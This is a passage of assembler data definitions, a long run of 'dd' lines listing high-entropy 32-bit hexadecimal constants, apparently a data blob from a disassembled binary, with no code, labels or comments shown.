		dd 0FF066832h, 73215C6Ch, 294080BEh, 5CCFC327h,	89BCAE12h
		dd 306F5032h, 250827B8h, 645CF5E6h, 0C069405Ah,	0F29E727h
		dd 0C5437E82h, 4020718Ah, 0E623284Eh, 5422E546h, 28366700h
		dd 2D47073Ch, 98FE7756h, 6A0E0149h, 330F19E6h, 70C2351h
		dd 0BC16AA71h, 17797018h, 51CDAA00h, 32C1CE39h,	0A441072Fh
		dd 30820F02h, 7EB548BFh, 922C283Dh, 3C2F1D81h, 4900AE23h
		dd 0A0FDF887h, 84E1C7Ch, 802FDF1Fh, 91CFC581h, 0E2068470h
		dd 0ECE01DEh, 2483E238h, 348B038h, 6B522A88h, 0D1808864h
		dd 2014C066h, 88406CBCh, 82CF9CECh, 771CB3AAh, 0DA7CF890h
		dd 50560130h, 0F8E48D42h, 0D6BF04DFh, 0DBC5241Eh, 0FDDA8038h
		dd 0C54ED6h, 7362182Bh,	0C02A037Ch, 8DD45400h, 67CD773Ah
		dd 188298B7h, 80A69301h, 0A40040DEh, 69E4B45h, 2CFBD9h
		dd 0B8807D46h, 49D82453h, 82409B60h, 0C1763688h, 2D011058h
		dd 0CB16D85Ch, 1A1529FAh, 808CC00Fh, 0BC19AA12h, 0E4448CC4h
		dd 0AA18007Ch, 8FD821B9h, 63026F5Dh, 895FF551h,	0ECE46815h
		dd 3A460EF2h, 0FAC7DB44h, 0DA0B1017h, 9B2A5E4Ch, 87008063h
		dd 50F08313h, 3C164BCh,	22A3B47h, 490E0888h, 402478B3h
		dd 28D30589h, 33940160h, 0D8261017h, 3A85D001h,	38821403h
		dd 0B431EDC6h, 27CE480h, 94AB5157h, 718310D5h, 3D30DE6Eh
		dd 0DB01C979h, 535E077Ch, 48F72FD4h, 171D3456h,	0F437C144h
		dd 103B67DEh, 48B0D3C0h, 0E4012CAFh, 0BF7E46CAh, 602BF0A6h
		dd 185D5A30h, 9F7152h, 0EFC3CF96h, 0CE02F3Ch, 0D26130C0h
		dd 8957AFh, 0EAA80F7Bh,	0C1356D26h, 6700E07Ch, 6E65ACA0h
		dd 50E3BE80h, 189EB3Dh,	471903Eh, 0D9FE8F74h, 6E8C4079h
		dd 0EC038AAEh, 32B1F106h, 5CB8885Eh, 9DF900A6h,	9FA16496h
		dd 6FECA2F5h, 213108DCh, 4AE89CD3h, 0DBBE4CB2h,	84E57300h
		dd 0B0E03837h, 61C9A30h, 60E95FFFh, 7FB910FCh, 0CFE688B1h
		dd 30A5B400h, 0A8D1725Dh, 57370006h, 19A2557Ch,	3526DBB9h
		dd 3F229Ch, 0BCB6E052h,	19E30A4h, 0D699B5EFh, 802DFBDDh
		dd 33D1920h, 0A77EDB56h, 0C3070820h, 77A68FC0h,	0C759740Eh
		dd 0E010FC30h, 68723216h, 62846B19h, 2180F808h,	819DD86Eh
		dd 0A4001570h, 0D401ABB3h, 61E54h, 96D5389Ch, 0E38F30A6h
		dd 0B8CE8001h, 91BC4608h, 344883EDh, 926B0864h,	49C45230h
		dd 0B04CC247h, 70F9B39Ah, 5FDA000h, 0FE497B46h,	0BCB95008h
		dd 0B60E1CA3h, 85AEC7FAh, 528450E9h, 640C2A9Eh,	282B62D9h
		dd 0A2170614h, 101A7F11h, 298F4600h, 8A933161h,	0EAF93356h
		dd 21063D08h, 0DA29E939h, 81A30080h, 0A1E842E5h, 3600C223h
		dd 4BE63263h, 15DDE12Fh, 0E0A6F77Fh, 3DE930Ch, 321F1998h
		dd 0D8829D63h, 481A91AEh, 49B1BB14h, 92802C09h,	97A16796h
		dd 0C8CB448Ch, 7A0F997Ah, 0E067A822h, 44B43A6Ch, 9CE70082h
		dd 2B7FCA6h, 8F20AB51h,	0D5AE02B1h, 528693F0h, 0F5DC4040h
		dd 0A0B3B480h, 8D526C4h, 99ECC9E6h, 8615BA9Dh, 6B6180CCh
		dd 8C3A309Dh, 7BC34C44h, 3E480069h, 8DEDAA78h, 9C502EF9h
		dd 30FC15D4h, 0A416CE28h, 889B7F0Ch, 5CB8049h, 0B65E8ED9h
		dd 29940402h, 598F0058h, 606B3ED8h, 0BCD9105Dh,	0AE03B4BFh
		dd 315E4226h, 54083016h, 0BFC3AB21h, 0C983C400h, 33D65A8Ch
		dd 7A730531h, 0C09408BCh, 35CA0646h, 69B10960h,	9061880Dh
		dd 43990D80h, 0FA205E58h, 0D7DD3120h, 37278064h, 0D0FC8274h
		dd 2A354A12h, 0E89E3441h, 6C204669h, 915243Ch, 609B442Ch
		dd 10BC2CC0h, 0C4D5BB31h, 680019A1h, 373C2992h,	0B3F2A000h
		dd 0CDED96C3h, 0B21601F0h, 0B1E66803h, 110265Fh, 9BFD96A0h
		dd 0C90DF647h, 0A7EA01B7h, 0CEEC77E9h, 9FF71FF2h, 511D80B2h
		dd 0A9F99C38h, 0F0BB3029h, 0CC19F879h, 2D034BE1h, 67BE992Fh
		dd 5593D8CFh, 0D65B0022h, 0F9B5FBA3h, 7801CC7Dh, 0D9675735h
		dd 0E88213FAh, 740D6351h, 0C232FC80h, 6C02E008h, 0F4AB9303h
		dd 0DA64015Bh, 0B88C509Ch, 0BCA03226h, 0BC02F327h, 0E8ECC584h
		dd 0BAAC8479h, 0C09E50DBh, 9BADF4CFh, 0D712ABA4h, 107250A7h
		dd 0F9332016h, 51004C48h, 0DB18E67Bh, 3011248Eh, 0A6A1354Dh
		dd 40926C3Eh, 22D7A500h, 0F8D29C3Dh, 0D89013C8h, 73481E8Eh
		dd 29005BE0h, 0FA45986Ah, 0FA915283h, 5048C1B3h, 201EE5E0h
		dd 577FBD24h, 94D0CF28h, 0C89D123Dh, 2CD62404h,	0B5809C11h
		dd 0A331BB2Ch, 0A522CF43h, 683B4Ch, 7C98C191h, 0E45535CBh
		dd 8A806EBh, 704FE9AEh,	0FC0D321Eh, 1400505Fh, 28814122h
		dd 0E08052FAh, 8169A11h, 953A7ABh, 9824C239h, 0DDB4172h
		dd 48A80B50h, 0F5520A8h, 83C244h, 0D6288FBBh, 0B6F0944Ch
		dd 30EC2609h, 0EDFC020Ah, 3C651059h, 0BF7D3886h, 888EAE91h
		dd 0BFF69E5Bh, 0B81E878Fh, 0FF7E0982h, 308FBC69h, 5550E440h
		dd 30A9A4C0h, 8C21856h,	16EB8EBFh, 0F94065C4h, 82F6BF0Bh
		dd 3091E8A9h, 0B7443E00h, 0B41128B0h, 64EE3D38h, 35C5550Bh
		dd 0DDDB5810h, 2465B726h, 899B3E0Ch, 41770002h,	4E52851Fh
		dd 4B1B917h, 18B7B2F3h,	0E2007AFDh, 2E5642F6h, 0A43F1791h
		dd 0D6D40090h, 0D28A4BB2h, 2B0311E7h, 0A4B1E046h, 771CD876h
		dd 9D243D52h, 0C8A00518h, 8EE7910Bh, 94B3B191h,	8C5FF8CCh
		dd 2E147400h, 180A3F83h, 0DC6004C5h, 0C1D8BD34h, 81C42223h
		dd 0BA11B9E9h, 79801D5Eh, 0E6B60407h, 0BB01E868h, 0D27186D9h
		dd 0CCF44F56h, 15601331h, 1024474Ah, 0AF68715Dh, 33B1F30Dh
		dd 0CD7860C9h, 0B48CB524h, 0A83E4E00h, 18098BB3h, 0E8AA1136h
		dd 5300D3D2h, 1D495A0Dh, 0FFF229h, 851BB861h, 52A5E158h
		dd 6C408D6Ah, 58C5090Dh, 3BFFD0D7h, 0C2AA0569h,	8B5A448Eh
		dd 639D54h, 0DFCE882Fh,	0A75C8A54h, 8C18E844h, 0F8EC5301h
		dd 3DA5DDE3h, 0D37A882h, 0A8409D64h, 88805A3Ah,	7E98F6E0h
		dd 498A2F9h, 5F606FE4h,	0AE23B5BFh, 59115Eh, 3BBF08F8h
		dd 7B25D3E1h, 0BD32092Ch, 6803528Fh, 290169B1h,	0B43F9439h
		dd 7C24480Eh, 0EA1400BEh, 0E6AA7359h, 0F80421A3h, 344C154Fh
		dd 1277088h, 19D994E5h,	34AF3BCCh, 0A400085Ch, 9B6BCA12h
		dd 40613h, 492C482Fh, 0C655B471h, 3E61D358h, 8869B735h
		dd 8F33F1B2h, 5D4E8020h, 0DDF39Ah, 0C899D03Bh, 0EB735F96h
		dd 0C617930Bh, 0BD040018h, 0C04E8AA7h, 319AE440h, 4750AF98h
		dd 9D143894h, 4ACF535h,	0DA2EBAA6h, 0A120A8A6h,	4E9AE10Bh
		dd 9E04205Eh, 987A5938h
		dd 0BDC804ACh, 1EE0B05h, 0AB6E5F1Dh, 0A09DEC29h, 0F2882087h
		dd 41DCB58h, 60B91A08h,	7869D4B4h, 8530C912h, 0FAD80081h
		dd 88888E04h, 327CC054h, 0E30124FAh, 302EEC29h,	64209AB0h
		dd 0C1028CA8h, 0C3315F2Ch, 40A851D5h, 7529DB3Fh, 4B0DC100h
		dd 0CCBDBB26h, 45C70537h, 1AF09E0h, 8991E494h, 7ED09DB6h
		dd 24960FD2h, 7E048F90h, 0C57E3B12h, 0C6DE0001h, 2C60E89Fh
		dd 70F0046h, 6A9E4A1Ah,	3C0C3089h, 28B36602h, 922284BDh
		dd 0FD38100Eh, 735611A3h, 0EA154908h, 489E6E10h, 0CA08A403h
		dd 62189C65h, 2210FA22h, 1E2215A5h, 90733371h, 0A100D679h
		dd 4C67D239h, 0D53479h,	0DAA06DBCh, 0D44337A9h,	46ACBB1Ch
		dd 0CEB009h, 3401777Ch,	13FCDCh, 4EDB79D1h, 0C646B911h
		dd 0B62E6700h, 0D00123B3h, 18AA008Eh, 5E8375B4h, 0D5001FA3h
		dd 5449D60Eh, 3F1BBEh, 0D1DED357h, 0C217A2F2h, 22715F1Dh
		dd 69E2BB00h, 3CF05E33h, 0FB006A30h, 0FD18B8A8h, 55120492h
		dd 40408A52h, 0D6D38573h, 0E80B00E9h, 0D437D160h, 0F3007A2Dh
		dd 432A80F7h, 0ED8C16h,	6687B3AAh, 0D974BBC4h, 3E89BA07h
		dd 8E806C49h, 1495A933h, 0A7F3E2DAh, 0A88F9900h, 0E9DFBC7Eh
		dd 232D5600h, 40D374C9h, 28310008h, 8D0271E5h, 8C1C0A87h
		dd 7B8229D0h, 4003B42Bh, 1EFC80Ch, 9B403C25h, 0FC2AB5B0h
		dd 0B201CB6Ah, 45DCCCECh, 28E16980h, 1ED7CF0h, 3E0FCA93h
		dd 0C65FEF91h, 9900FEC2h, 8E510B54h, 24B3E100h,	0EE4EC458h
		dd 0D170192h, 96BB58Ah,	0B4A0C6FDh, 0F50CB226h,	5F53B618h
		dd 18518E18h, 0CC99598Dh, 9F00FF02h, 9E3BBDCBh,	1B442A0h
		dd 82D0F9CAh, 0DCFAF429h, 0D00DF7Dh, 0AD8C88BDh, 1D8926C2h
		dd 135EBFh, 71AE227Ch, 0B10048AFh, 80C6AD14h, 5A1332Bh
		dd 2720E995h, 61B2054Ah, 66C418D9h, 9700B914h, 6E024160h
		dd 0BD6781h, 7E732116h,	0E43CB1EEh, 88F1650Fh, 5B5960ADh
		dd 4274915h, 0CB51B0CAh, 0F050C77Ah, 2CF89CFFh,	0E1DEC100h
		dd 7345F279h, 0B678B7h,	4FF67AE4h, 4B1E6EA5h, 0F9F07F3Eh
		dd 0F4B14500h, 0B4EF8836h, 0AE4400F9h, 0FB8395D3h, 6300217Fh
		dd 353B7ABBh, 720EAEBh,	0C0883CA6h, 9B05B22Eh, 0ACA73F40h
		dd 61220D00h, 3CFD99CCh, 0B69E0127h, 0BC85CEDh,	6280D4B1h
		dd 0BA44EA00h, 19984F42h, 0EBF0FDh, 0BEF675AFh,	540301F4h
		dd 859CCD50h, 0E5F24A00h, 0DE168ED3h, 19150022h, 288F1ED4h
		dd 2407B546h, 9890CBB7h, 0C17C67D0h, 0AA650013h, 30BEADBCh
		dd 0B94D106Ch, 9DAF00BCh, 0E8A32D9h, 6D011939h,	0ECD78CAAh
		dd 7B14F960h, 0EC89E0h,	4AB08322h, 5135A6h, 0E15E1819h
		dd 290DE978h, 82BC6400h, 0D3985831h, 1C9F0938h,	2407C6C1h
		dd 9A05060h, 0F009D97Ah, 85AFF5h, 73ECEA0Ch, 0E66600DDh
		dd 0E764115Fh, 0AC905256h, 0CD9AE300h, 0E1B4C7B6h, 2C599809h
		dd 389431Ah, 9BB31211h,	0CB24EB81h, 52C8B2C8h, 0FC791700h
		dd 420C6C3Dh, 4FDB00AAh, 3C048D7Bh, 4501B1B6h, 938B527h
		dd 0C030B7CEh, 59130344h, 0E04DA105h, 0A326DEF0h, 0CA2B6F00h
		dd 0F276E88Fh, 30AFE9Bh, 0A6AE0F1Ah, 1CC0FFCBh,	7B985AB0h
		dd 0F2F0680Fh, 0BD31601Bh, 9015D332h, 53CE020Ch, 0A6EAE979h
		dd 0AAD1A784h, 9EEEA480h, 92D8E9C8h, 0FBA92606h, 5D214E98h
		dd 0CC0F31D0h, 86FE2766h, 0CA642800h, 5954FC6h,	8E6A0FC1h
		dd 0C060B6D4h, 752B700Dh, 8DCEEF00h, 0CBCA5CA8h, 4C6600BCh
		dd 0CD96A51Ch, 0C90D5C5h, 3EAEDC1Eh, 0A4921Eh, 1A7B9704h
		dd 2F35C41Eh, 0A3CC355h, 13FFEF98h, 9F708124h, 4AD3BB00h
		dd 7D31E242h, 3AF60B3Bh, 1A83CCAEh, 0E1C06BD8h,	0E300B9D2h
		dd 592C86FCh, 1D01D06Ch, 4FE461C1h, 0AB804B85h,	66415314h
		dd 3C3D8A3Ch, 4500FFF9h, 0B275B9BDh, 0EEE90DE5h, 959E0FF0h
		dd 3C40217Bh, 0DDCB63D9h, 4CCE800Eh, 0EEF86040h, 0FE4E69h
		dd 2390133Ah, 0B97D8DF4h, 399C8500h, 501B5EAFh,	81BD07A6h
		dd 0D003AB71h, 17BF2C37h, 0F1BEDB01h, 606AAC51h, 70756C60h
		dd 0A5E100C8h, 5A2DF6B5h, 0BD17B608h, 0E800F3AFh, 0DD2E5037h
		dd 0C1900009h, 7F738D92h, 621CFA7Ah, 936CB058h,	32ADD207h
		dd 64C54042h, 16C403B0h, 0D531318h, 8CEFC7E0h, 0CDE6AF00h
		dd 0A1340312h, 83D000F7h, 2CDC1F1Ch, 55038431h,	0A8513C7Fh
		dd 0D8DD887h, 0DDFC7Bh,	0EC34C9CEh, 0AA0B985Eh,	96776500h
		dd 0DA9F99D8h, 789A0EF0h, 0B6218740h, 0EC69E31Fh, 0B10311A3h
		dd 77C89B63h, 0B07BB322h, 992FEDh, 8421FB50h, 9D926397h
		dd 0D89E2DE4h, 6F6A4C00h, 0AC7144h, 0F945B4BDh,	3BAF8202h
		dd 0A4B3BC00h, 56E8089Eh, 0BFA00099h, 4BF43C0Ch, 0B12CF69Bh
		dd 0F100A1C2h, 16D00E4Eh, 0FBC00E8Eh, 32A2CF9Dh, 34C8BC50h
		dd 0AA004969h, 7AF69FB2h, 2D61AEh, 4467A65Dh, 876BEF4Ah
		dd 0E0A98600h, 3B90FD48h, 0AEDE00CEh, 0EAFC1723h, 8100730Bh
		dd 0E7DB8C1Bh, 9E7686h,	0D9C14827h, 9F755FE8h, 45541000h
		dd 0BC8D5D44h, 74B54C53h, 0E0F055C1h, 91CFC0C3h, 199A3A00h
		dd 49E2A3D8h, 6AA4A074h, 4F710082h, 629D17B9h, 39009ADEh
		dd 2198A1BBh, 0BAE4C64h, 5BDBBECDh, 6046F400h, 0E7F8209h
		dd 0AA4E7207h, 7C20FA45h, 7B74BF1Eh, 0BC9300E1h, 0FBE68F55h
		dd 49000B59h, 51C568BEh, 7E87814h, 9E092DABh, 72802FA2h
		dd 0F0620D88h, 0A6438000h, 0C72E89C5h, 499A00C4h, 23A12569h
		dd 0FE018AC8h, 53BE0871h, 74F0C12Eh, 0A9830F64h, 80526281h
		dd 739D7034h, 8A245890h, 4C001DC9h, 0EFDB7B76h,	18D73CB8h
		dd 7A896C00h, 0F5D48CE1h, 8858FF00h, 316D13EAh,	0D5CA00A5h
		dd 0A12E33Ah, 0D628D4DAh, 84E8ECB0h, 852CD000h,	8C8FFC5Eh
		dd 927A004Fh, 7FFFEAB6h, 0C24AC6B2h, 9C741103h,	25A9A875h
		dd 6BF70080h, 662B9743h, 5C00B44Dh, 815F9129h, 7E17DDh
		dd 6AD95ADFh, 0B6932880h, 36B9F0C0h, 1C85D847h,	0D6C43263h
		dd 30138Fh, 0DA4959F0h,	0BF005ABDh, 8BA7E1C6h, 0F2069751h
		dd 33BB0066h, 0E3CE9D08h, 0C900804Ch, 956BE41Fh, 0EEA47Ch
		dd 0ACCD63FFh, 9C2233BEh, 5497CF00h, 8A7DABE4h,	8F7400E2h
		dd 0A1D2694Dh, 0C0ED937Ah, 0D601108Dh, 1BBBE58Eh, 0A8301F15h
		dd 7A0C00F9h, 33C66AE2h, 9D1D983Eh, 2080D46Eh, 18150BAEh
		dd 0E62E7771h, 7DC5EE5Ch, 0ECCB006Ch, 0AC0E6023h, 30021366h
		dd 15EB1989h, 46C9E086h, 643C0014h, 1337E2B9h, 0F25DEFBh
		dd 690C00FCh, 0A0746FE8h, 524ABCh, 0DB7F51E9h, 56317BFAh
		dd 0D6834D00h, 2143F1A9h, 0EDC1C66h, 0F5808128h, 28A66EB4h
		dd 0B9310028h, 70AD589Fh, 5B15017Ch, 0BF3B8DDFh, 0FB2420AFh
		dd 0B93420FFh, 88335200h, 0D2634F1Ah, 0C302000Ch, 3925E683h
		dd 0BB00C18Fh, 937C3C5Ch, 1C27EC69h, 3C435D6h, 0CD6ECC49h
		dd 4E087FB0h, 8248AE69h, 0C0B635BAh, 0D6DB88h, 0D3D976E9h
		dd 9638ECEEh, 41483D03h, 0D09050h, 0B821B988h, 0DD8CD142h
		dd 0A79E4C09h, 0E73C211Ah, 1DC41866h, 0D58700E1h, 4BAC73E2h
		dd 482CBB54h, 125DEADh,	331164C0h, 0FB314078h, 0E4D56050h
		dd 0E900A4CDh, 754AE7C4h, 2E1FA6h, 0BF1BEA9Ch, 0D429A9A0h
		dd 35F67400h, 75EBB20Dh, 314E8E7h, 48269C9Bh, 0C1BAA0CBh
		dd 0A9CFB0E8h, 0F72D1201h, 0A8740B7Ch, 840FD8h,	24B93966h
		dd 640CDB36h, 6049DD00h, 8221D66Bh, 0CD6601BEh,	0B952FD90h
		dd 6718D86Ch, 34E15A00h
		dd 144B261Ah, 58F448F2h, 0CEE5BC07h, 0E4709C28h, 7D12AC00h
		dd 4D8AA6CDh, 0E271069Bh, 5A02CBFCh, 9479C828h,	0DD05D900h
		dd 9529BE37h, 89A3036Ch, 159D3F02h, 0D58D44E0h,	681D6700h
		dd 0BE3945B8h, 9726197Dh, 6C5694Ch, 55EF3F16h, 901D4448h
		dd 8EE6Dh, 54913638h, 41008FB6h, 7FCD8EC5h, 1F987D96h
		dd 0FDB85A63h, 1F627ACh, 0FE4D1F12h, 16846C67h,	0F40C6490h
		dd 0F0A87Ch, 438FF637h,	0A03C9433h, 0C2AAACA8h,	0BE90300h
		dd 6875CFD7h, 0E2D226CBh, 188F0008h, 9D20940Fh,	0FB481892h
		dd 52270034h, 0AB0BB7CAh, 0E684002Fh, 267C0789h, 20925765h
		dd 0B20A8200h, 979F3E2Ch, 2E18002Dh, 20B0E7A2h,	4E16D4DDh
		dd 0C887443Ch, 94EAA472h, 0E19000ACh, 5308B262h, 1000C115h
		dd 0A0609E56h, 0BAF9AC5h, 6CD73FEAh, 33800409h,	0C71DE87Dh
		dd 3E6E40C0h, 0D49078h,	94F16910h, 0CEF96FB8h, 2099C9C9h
		dd 0E88E3854h, 74DFFE55h, 2020EF97h, 1FA300D7h,	8A301A5Eh
		dd 6100F590h, 7B69659Bh, 0B4B276B8h, 335A87E8h,	9DC0E343h
		dd 7A6B12F0h, 4208837Ch, 4B1B572h, 0C084EF99h, 51336AECh
		dd 74E86302h, 0A030B8B2h, 0EE211BF8h, 7A8A309Fh, 85128D10h
		dd 0A542380Bh, 0CDCC0582h, 4DC05800h, 26CBC832h, 0BF0163Bh
		dd 5F30FCh, 0BBBC42CBh,	6DF01DCEh, 98A500F7h, 0BE4CC016h
		dd 0CCCD9203h, 0E85B8DDEh, 1C29AB26h, 461BE525h, 0D0A3746Ch
		dd 8B7D5216h, 2BFEBC80h, 19C1785h, 0F005AF40h, 4490D7DFh
		dd 30C232Eh, 0DCF9597Fh, 0AA801548h, 0D7008637h, 0EC7A624Bh
		dd 47A19Bh, 0C13EAF8Bh,	0C3DBB474h, 811A1F00h, 6BE36846h
		dd 0B56F00FBh, 0B808BBC6h, 1400C8A8h, 0B3A470D6h, 12B45Ah
		dd 41D31C19h, 0BB6A23DFh, 1521FC00h, 4C7E276h, 93080055h
		dd 0F9072E54h, 5249A794h, 0EA4900ACh, 1BC16F27h, 0F395098Fh
		dd 0CC44073Fh, 78E83433h, 0D0219BC7h, 0F5BF933h, 2EB0DE3Fh
		dd 75529B80h, 664EB76Ch, 0C7741800h, 0ADAADBh, 9DA0220Dh
		dd 127F188Bh, 5F007272h, 0D1AC2DE9h, 38F1Eh, 0D7A0F95h
		dd 0E6159B09h, 0B0C13B1Eh, 331D5184h, 0B2D4A888h, 0D2D80044h
		dd 0F526BBAAh, 1C01419Ah, 11CEBC3Fh, 50247B4Dh,	0D64000C2h
		dd 0FF420424h, 1C004B06h, 0F5605A16h, 201149h, 0E5360526h
		dd 4BDFBCA2h, 641F7902h, 400B4C17h, 0FF55E8h, 7F5985FEh
		dd 2AF9EC4Eh, 0A3C8EA19h, 0E0C40F30h, 0EEBB000Bh, 7FC3DEABh
		dd 8CF475AAh, 6E9F810Bh, 3C2001FCh, 0B8745AE8h,	0E37A0Fh
		dd 464DDA9Eh, 850D545Bh, 7166CA00h, 271E53ABh, 12331DECh
		dd 1B51261h, 64555788h,	0F914C41Fh, 8306593Ch, 9A5E40A7h
		dd 40C09DCEh, 0FF1AABh,	0B0EBD26Dh, 0F196174Bh,	58D78907h
		dd 0AF808EA6h, 9F82EFh,	5A5499E4h, 8343BBA0h, 0C8AA5F04h
		dd 44D04570h, 0A4F14Ch,	2E114B32h, 0EF216CFAh, 65339B0Fh
		dd 0C3A9A3h, 91810868h,	52A63B0Dh, 0AAAD3A01h, 0E3B5F9B2h
		dd 77B9A1A8h, 0F43F3700h, 20B87D15h, 28380065h,	1034D75Bh
		dd 0C458D28Dh, 360901D8h, 0B3E3A0ADh, 145CFCh, 35EC37A5h
		dd 236DB7EBh, 9BDA5E03h, 608824h, 1FCEDE20h, 4F0257Eh
		dd 0EDBBB100h, 0DB6CC450h, 2D2A007Dh, 0E9BDA0AFh, 6F0FC871h
		dd 0E0F942D3h, 4641AC4Bh, 13C3E47Bh, 0C0298D8Ah, 0EE935648h
		dd 88001D7Fh, 19672F01h, 3FF4E9F5h, 0DE80871Ah,	0EF9D6897h
		dd 520282A2h, 3DD67AB1h, 1BAB402Bh, 0CA46004Fh,	0F73940BCh
		dd 0E4009380h, 350A726Ah, 49C10Fh, 0BBB1696h, 2C897661h
		dd 0AF752A03h, 88244A37h, 0F409F12h, 0D6D88271h, 73011881h
		dd 65CD011h, 0C30D7912h, 77498042h, 50704889h, 0B466025Bh
		dd 0D0A50CBFh, 631E0055h, 29FFE6Dh, 0CACEE071h,	0EC807709h
		dd 0B180683Fh, 0C7034C79h, 0C963FA8Bh, 5542A074h, 5BD00BFh
		dd 27FCE77h, 7C496C5Eh,	9E190008h, 0CCF3651h, 0E2E40E5Ah
		dd 0F16BC846h, 49EAAC20h, 0E000B5B9h, 0CF2B0F82h, 0EAE6015Ah
		dd 0B467006Eh, 3DF36F35h, 9703504Eh, 6AF21EB6h,	7293C7F4h
		dd 62BE0940h, 0CE016EEh, 8C98A761h, 0FE81049Eh,	0BE18410Bh
		dd 0A07AF8E4h, 0B132D7h, 0E4C381A8h, 0E9CCDF0Fh, 491FD300h
		dd 0FE579893h, 24B7002Dh, 0C38326AFh, 70C0C74Ch, 0E9E6299h
		dd 15BB00C5h, 4FA11485h, 31C8B28h, 5B9EA7B2h, 0C3E26A80h
		dd 7E40EECh, 0C1FE55E3h, 0C656808Ah, 2C0B81B1h,	0C1B3AC6Ch
		dd 9C6893A8h, 0B7EDC8A0h, 0B93A44h, 18AEB0F9h, 0CC60B48Ch
		dd 8E5F4907h, 14C08B84h, 19EF0BEh, 0D02C93DBh, 642BEA7Bh
		dd 9600EBF4h, 594D3C25h, 743356h, 53AA1582h, 4F44A78Ch
		dd 0A5A2860Fh, 62C39CB2h, 0C07BC910h, 1660C6B8h, 0AC9273h
		dd 4A99E190h, 5500A89Ah, 0BF96587h, 0A54974h, 1D7F2193h
		dd 0A0349B81h, 8606B607h, 0A07E7016h, 92CC2D7Dh, 0ABD9004Ah
		dd 0FBAA6A0Ah, 48054C63h, 0F07520C1h, 0ADA97E80h, 0E15A0033h
		dd 0BDF43807h, 6010D25h, 1DFBE5F1h, 7CCC23B2h, 0CA5D0020h
		dd 2438F34Bh, 0C6007BEBh, 84EF16Fh, 0FAC1612Bh,	33F23B64h
		dd 7A2A0F82h, 50C805B0h, 1800FD09h, 8740FA75h, 11B682Ch
		dd 0FC3A53Bh, 2065D981h, 0F0723FE0h, 55C56C00h,	7C7AEDA8h
		dd 7E2F00F4h, 2023373Ch, 0D9096959h, 6024F6C5h,	4CD50C70h
		dd 0A5F07006h, 0D8001BF4h, 765BB128h, 735E9h, 0DA67D380h
		dd 561F843h, 0A08A9904h, 97FEB0h, 0D3549CD0h, 7E7A00C3h
		dd 56E71BBCh, 18C068C4h, 0DA79271Dh, 35D300B8h,	741245C7h
		dd 814E5A0Dh, 0C0619CD2h, 0C04C74h, 0C5B3E639h,	42836BA8h
		dd 0F1F35C01h, 8CD98F87h, 0B9D4460h, 13D21284h,	0F6AF9D80h
		dd 64B4DEB0h, 9F88D00Fh, 0AA723A80h, 0E25521h, 0F6967764h
		dd 47D3E731h, 0AFF06760h, 0C23E8E97h, 0F0CDD0B0h, 0D93A4460h
		dd 96E00C01h, 8624C542h, 900083Dh, 902BDECFh, 7F000858h
		dd 0A4F584D6h, 0DCB176h, 5F8FDB7Ah, 1C9B9FBDh, 4BEFC0F7h
		dd 0D40F2C02h, 50B1B41Dh, 191512A8h, 65D000A2h,	25840ADBh
		dd 47C8A700h, 8107E43Ch, 829B0EFFh, 9000640Ch, 50BD03A9h
		dd 0F3B8581Eh, 0E9B8CE3Ah, 0E5FD9500h, 6B30F209h, 0A8144700h
		dd 9AE2B55Dh, 9CFB02CCh, 0D2210F8Dh, 74617860h,	124D93Ch
		dd 2A92BB86h, 0EEE096D4h, 2C030073h, 0F3E11185h, 12000ADEh
		dd 0D7440EACh, 16012866h, 1CC1B407h, 3B41802Eh,	0B59862E8h
		dd 0A49FAF0Eh, 0E93A21DCh, 0C8605391h, 1330033Ch, 83BFDE0Fh
		dd 2BEB0BE0h, 5C7CE300h, 0B95A1C6Ch, 144B1D6Fh,	0F836C120h
		dd 3027E734h, 0CB00A83Ch, 0DF0244D3h, 58ECA74h,	0CCD5A167h
		dd 0C2E08771h, 0DC72B256h, 1C5F2716h, 0AD9B24C0h, 0AE87006Fh
		dd 0BB6890F2h, 6C766905h, 0DD3D4800h, 7D379B2Eh, 2DD90017h
		dd 0C67849B1h, 0A900D625h, 0D46BD2B3h, 3F9077h,	921C93C3h
		dd 0CE58449Eh, 0FBBF4D00h, 0C655125Eh, 307B3AC8h, 0EE48C781h
		dd 0E077845Ah, 70040486h, 0FBD25EBCh, 0C54CF4h,	96DCE948h
		dd 9D7B3508h, 5295BF09h, 1C723Dh, 48267F62h, 10FC64DBh
		dd 6C34D403h, 0D0A7E636h, 17ABE109h, 16EBF987h,	107C5804h
		dd 6AEC0235h, 6A6E500h,	8B39565Fh, 0EE8E1384h, 0B2A0A0B6h
		dd 34EC3D03h, 94B85CF9h, 0A2AC3800h, 0F706FF9Ch, 6221BC6Ah
		dd 46EA0018h, 38EB8442h, 18A048F9h, 0A24D1032h,	1AFB00FCh
		dd 331600Dh, 0DE5F000Ch, 3B226A4Dh, 8D0036B5h, 5C6567EEh
		dd 0A80FF9h, 9C2412F5h
		dd 5ADD4D9Ah, 2319041Ch, 6D05DA80h, 27B74A0h, 0DEB6C19Fh
		dd 0E45C5C2Ch, 0F9F6CF00h, 99580D2Ah, 9BD8000Ch, 1F0F311Dh
		dd 4266B001h, 37562A89h, 450A889Fh, 0C9836A9h, 0D5C0FF54h
		dd 933E920Ah, 9D04845Ah, 40FDE2D8h, 0DE3A077Ch,	82CC1A07h
		dd 0B8560A4Eh, 59760805h, 8DF43180h, 0CD6100CBh, 34DAFCF5h
		dd 0BD00F888h, 0EB57A60h, 2562B1D4h, 7AF0D9AFh,	11B7B000h
		dd 8BD30A4h, 40BE0046h,	621F4AC4h, 0B0099BD9h, 0F8A5B34Dh
		dd 0F894620h, 0A89C6B6Eh, 47A1C462h, 76B0561Ch,	1DB117AFh
		dd 0C0D33DF4h, 7845DAFBh, 0A80E5007h, 0A155E95Ch, 676530A6h
		dd 0B5BA2060h, 0A2111097h, 6A84CB8Eh, 0FB838052h, 770F0179h
		dd 4784F3B5h, 0F4B287BBh, 18EC7A9Ah, 415ACA19h,	3E0091D3h
		dd 0E245DB01h, 18A3640Ah, 30F62F97h, 0FD0FCDEAh, 855283FBh
		dd 0E4ACBC37h, 0DF908B4Eh, 0CF4400E3h, 7067BB8Ch, 0E4019FF6h
		dd 5037BAD3h, 58816DDCh, 31C3E673h, 0AD93F868h,	0A6901E04h
		dd 0BFC4DB14h, 0E600E0ECh, 9C7C865h, 0AB004F9Ah, 87C533FCh
		dd 114EA24h, 8C8FC079h,	0C1CC7E26h, 0ACC1D073h,	0BAF53B01h
		dd 6A289DA7h, 3B6C0h, 0ADC63843h, 301F2FEDh, 0C8F42650h
		dd 0A5BD9300h, 2B2D6DE8h, 0EDF6006Ch, 0B07E5FAEh, 9300E6B4h
